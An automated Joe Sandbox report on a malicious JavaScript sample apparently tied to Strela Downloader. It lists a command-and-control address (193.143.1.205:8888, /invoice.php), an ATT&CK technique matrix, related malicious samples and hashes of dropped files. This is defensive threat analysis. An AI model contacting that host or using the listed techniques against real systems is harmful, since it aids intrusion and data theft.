Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
10848104561916132198.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/pace	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/PR	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/S	0%	Avira URL Cloud	safe
http://193.143.1.205/invoice.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/PR	net.exe, 00000007.00000002.1461232201.000001FE68088000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2689836856.0000022229800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1459796881.0000022229A00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.1461232201.000001FE68088000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1461328414.000001FE680BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1459100469.000001FE680DC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/S	net.exe, 00000007.00000003.1460306544.000001FE680BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1461328414.000001FE680BD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587528
Start date and time:	2025-01-10 14:27:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	10848104561916132198.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 2.23.242.162, 34.237.241.83, 54.224.241.105, 18.213.11.84, 50.16.47.176, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 20.12.23.50, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:28:12	API Interceptor	23x Sleep call for process: powershell.exe modified
08:28:16	API Interceptor	1x Sleep call for process: net.exe modified
08:28:16	API Interceptor	2x Sleep call for process: svchost.exe modified
08:28:24	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	random.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.210.172
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	CY SEC AUDIT PLAN 2025.docx.doc	Get hash	malicious	Unknown	Browse	199.232.214.172
	gem2.exe	Get hash	malicious	Xmrig	Browse	199.232.210.172
	1736491685cd440ba02224486139c45779065ac91a3edb422c48d3d3c6920c4d30fc9d2bfc582.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	199.232.210.172
	gqIYXW7GfB.exe	Get hash	malicious	DCRat	Browse	199.232.214.172
	https://ik.imagekit.io/nrof2h909/Sherman%20Pruitt,%20Chief%20of%20Police,%20MSCJ.pdf?updatedAt=1736444487005	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://marcuso-wq.github.io/home/	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	new.bat	Get hash	malicious	Unknown	Browse	193.143.1.95
	987113922297181060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	987113922297181060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	177183177683425839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	177183177683425839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	264531187863018088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021955033174827
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAg:RJE+Lfki1GjHwU/+vVhWqpp
MD5:	5083865F5CC5DF86EDDFB441740B903F
SHA1:	C2ABC933181A92B6CDB40BEA5918FCA503341872
SHA-256:	1F14405CBBA4E5F3B52133B29494335BB1C4F9E0F53D6E2C301CB31B22E9AE98
SHA-512:	647D70A1D98478861543A94FDFEF22517DBE159CD1EEFB58E524F3B29CC7FE6DA232688F9F7C492CE0C0D5E7E147056AECCEA93804E281AD23490F6DEF64325F
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x388e6a3d, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433038166316468
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:zazaHvxXy2V2UR
MD5:	B02EE2C4973BD19D6BEB37D2E7813860
SHA1:	3D76CA5748DEB1D57A882EEDD799A6C77CA26E45
SHA-256:	F90E8EF548AF552E5380BC1A52CD972AB40AC811D9C7C18875D2035321C32169
SHA-512:	A3AEFF28E80C668829EFA01997A3C9530291893D627E46F8DE24EDE87BA6CE472023E780CE5CDC6A5F0B0822052F515A94C1FD0C3AD612A729CEDF619309B049
Malicious:	false
Preview:	8.j=... ...............X\...;...{......................0.x...... ...{s......}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................D........}..................R#H.....}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08099464383603026
Encrypted:	false
SSDEEP:	3:W8YeCjVsl/nqlFcl1ZUlllldZovRe/illGBnX/l/Tj/k7/t:dzGVsl/qlFclQ/lPWJe/G254
MD5:	D9098946D821349EB1DE836BC36317CE
SHA1:	A559BE80E8B933CED0FA97AF03BCA2B6DC741DCC
SHA-256:	0D74F34E4C20DE602C1F820C5852CDA4C5589A944971290A5518A3228A997D37
SHA-512:	233115D766724590163EA585C43CA8CC9A962E1410F3A08BAB4DD03C26EF51902214EAA67D35BF078789D2CBFE02DC5DBBC75C23E360E6E7701EBEF611A6FB33
Malicious:	false
Preview:	s.A......................................;...{.......}... ...{s.......... ...{s.. ...{s.P.... ...{s..................R#H.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.193207146099247
Encrypted:	false
SSDEEP:	6:iO4odVb+q2PCHhJ2nKuAl9OmbnIFUtSodV8/ZmwsodV8/VkwOCHhJ2nKuAl9Omb5:7vSvBHAahFUtR8/7856HAaSJ
MD5:	6FD6859FE41ED081646CA5A64DA69575
SHA1:	FCBB7773180F1A99127013330BA6673EDE470101
SHA-256:	15E16614E54EBD359AA6A9D4A9098FB9E1CF7CD9B5DDC2B053E12ED12DD668F4
SHA-512:	C06FA005814E0282B3A962955C6BA2A136081741D8A2A04AA305FB8EF2E2EDEFCD2B9104B31CCAF9A7386CEEEF158CBA88AFB8E46CA748CF3868D685B66EA5AB
Malicious:	false
Preview:	2025/01/10-08:28:16.355 1f38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:28:16.358 1f38 Recovering log #3.2025/01/10-08:28:16.358 1f38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.193207146099247
Encrypted:	false
SSDEEP:	6:iO4odVb+q2PCHhJ2nKuAl9OmbnIFUtSodV8/ZmwsodV8/VkwOCHhJ2nKuAl9Omb5:7vSvBHAahFUtR8/7856HAaSJ
MD5:	6FD6859FE41ED081646CA5A64DA69575
SHA1:	FCBB7773180F1A99127013330BA6673EDE470101
SHA-256:	15E16614E54EBD359AA6A9D4A9098FB9E1CF7CD9B5DDC2B053E12ED12DD668F4
SHA-512:	C06FA005814E0282B3A962955C6BA2A136081741D8A2A04AA305FB8EF2E2EDEFCD2B9104B31CCAF9A7386CEEEF158CBA88AFB8E46CA748CF3868D685B66EA5AB
Malicious:	false
Preview:	2025/01/10-08:28:16.355 1f38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:28:16.358 1f38 Recovering log #3.2025/01/10-08:28:16.358 1f38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.173388462111338
Encrypted:	false
SSDEEP:	6:iO4odVw3cM+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSodVOCJZmwsodVOCcMVkwOCHh7:7vg3cM+vBHAa8uFUtReCJ/7eCcMV56HA
MD5:	56E9F6733EAB3B4E8392A6C1AAEB4AD3
SHA1:	6C70ABFD25F5F95E720EB9900F57859FF24C7081
SHA-256:	9EE8B62C9C6927B2DAFA79B0A43BFCD573EC397506EE621100D484ECDA2A7908
SHA-512:	EC4A9DBEB63F92AD8BD24D57485131EFC16D3919870A9A554F1BE72C72A0CCFCDD2BCDE5DF22E86E3311DAF08AFA0002B4B7FEA357773CCE80E60D17623A2E68
Malicious:	false
Preview:	2025/01/10-08:28:16.460 1f8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:28:16.461 1f8c Recovering log #3.2025/01/10-08:28:16.461 1f8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.173388462111338
Encrypted:	false
SSDEEP:	6:iO4odVw3cM+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSodVOCJZmwsodVOCcMVkwOCHh7:7vg3cM+vBHAa8uFUtReCJ/7eCcMV56HA
MD5:	56E9F6733EAB3B4E8392A6C1AAEB4AD3
SHA1:	6C70ABFD25F5F95E720EB9900F57859FF24C7081
SHA-256:	9EE8B62C9C6927B2DAFA79B0A43BFCD573EC397506EE621100D484ECDA2A7908
SHA-512:	EC4A9DBEB63F92AD8BD24D57485131EFC16D3919870A9A554F1BE72C72A0CCFCDD2BCDE5DF22E86E3311DAF08AFA0002B4B7FEA357773CCE80E60D17623A2E68
Malicious:	false
Preview:	2025/01/10-08:28:16.460 1f8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:28:16.461 1f8c Recovering log #3.2025/01/10-08:28:16.461 1f8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.970025147355236
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjYhsBdOg2Hg5Zcaq3QYiub6P7E4T3y:Y2sRdsKYydMHP3QYhbS7nby
MD5:	E4C1D719A9DE7543063FE936BD94719C
SHA1:	ED55C2AE7BC162FC27F90C51F3F2FBCCE306FFDF
SHA-256:	ED60F07BCB724D72EDC0E6D295D01A8FA64763FD012A79A35D88A04470C538C0
SHA-512:	CA9FAF77A05C5E9D068CE107346B4ADCEC0C761959DD344BF61EBFA3BE3415D7338DB59503C5466971E36FB04AAB9280695625777ECC74BCF3AEC14C45137DCC
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381075708254846","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136631},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e38b9e1d-161c-418d-b24c-b24d23577f68.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.970025147355236
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjYhsBdOg2Hg5Zcaq3QYiub6P7E4T3y:Y2sRdsKYydMHP3QYhbS7nby
MD5:	E4C1D719A9DE7543063FE936BD94719C
SHA1:	ED55C2AE7BC162FC27F90C51F3F2FBCCE306FFDF
SHA-256:	ED60F07BCB724D72EDC0E6D295D01A8FA64763FD012A79A35D88A04470C538C0
SHA-512:	CA9FAF77A05C5E9D068CE107346B4ADCEC0C761959DD344BF61EBFA3BE3415D7338DB59503C5466971E36FB04AAB9280695625777ECC74BCF3AEC14C45137DCC
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381075708254846","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136631},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.237744308972731
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bDeJgyj:S43C4mS7fFi0KFYDjr3LWO3V3aw+bDed
MD5:	80F185635F2A454779A2ED8EC51CC4A0
SHA1:	2F916D2BB45FC74CF1184B1653ADBC6C19505910
SHA-256:	42E034626AE21AFB72FFBE313C7DB3B31D0C73F0D6D7A8F1E65DB36F5AE38456
SHA-512:	887F9434ADF3E280347F212CE3707656532986C92EE5C2625798D287AF92436A5E6E9B4FCE7F6F8789B24AE19F6A23651BF854EFA0D3F789FFBD1DA5D1787BAC
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.185888776010103
Encrypted:	false
SSDEEP:	6:iO4odV8s3cM+q2PCHhJ2nKuAl9OmbzNMxIFUtSodVW3NJZmwsodVW3NcMVkwOCHS:7vss3cM+vBHAa8jFUtRG9J/7G9cMV56v
MD5:	5666D42BCF2E121D5E8315D67AF0B08F
SHA1:	93FCA620B86268722F2C8E15CF47A54653F667E7
SHA-256:	BA688231E7B98A2C8F4828B2E7189FA7E7ACFD952537035E3F67D46BD3A75CDA
SHA-512:	ADB97D672546BEE4B3D8A02FF9086509D857DC5D7799E19E485DB2EBC60BCD562190E824155B7C36E547DAD2008ABEE8222E89530C7105C01923EBBE507113EF
Malicious:	false
Preview:	2025/01/10-08:28:16.670 1f8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:28:16.671 1f8c Recovering log #3.2025/01/10-08:28:16.671 1f8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.185888776010103
Encrypted:	false
SSDEEP:	6:iO4odV8s3cM+q2PCHhJ2nKuAl9OmbzNMxIFUtSodVW3NJZmwsodVW3NcMVkwOCHS:7vss3cM+vBHAa8jFUtRG9J/7G9cMV56v
MD5:	5666D42BCF2E121D5E8315D67AF0B08F
SHA1:	93FCA620B86268722F2C8E15CF47A54653F667E7
SHA-256:	BA688231E7B98A2C8F4828B2E7189FA7E7ACFD952537035E3F67D46BD3A75CDA
SHA-512:	ADB97D672546BEE4B3D8A02FF9086509D857DC5D7799E19E485DB2EBC60BCD562190E824155B7C36E547DAD2008ABEE8222E89530C7105C01923EBBE507113EF
Malicious:	false
Preview:	2025/01/10-08:28:16.670 1f8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:28:16.671 1f8c Recovering log #3.2025/01/10-08:28:16.671 1f8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

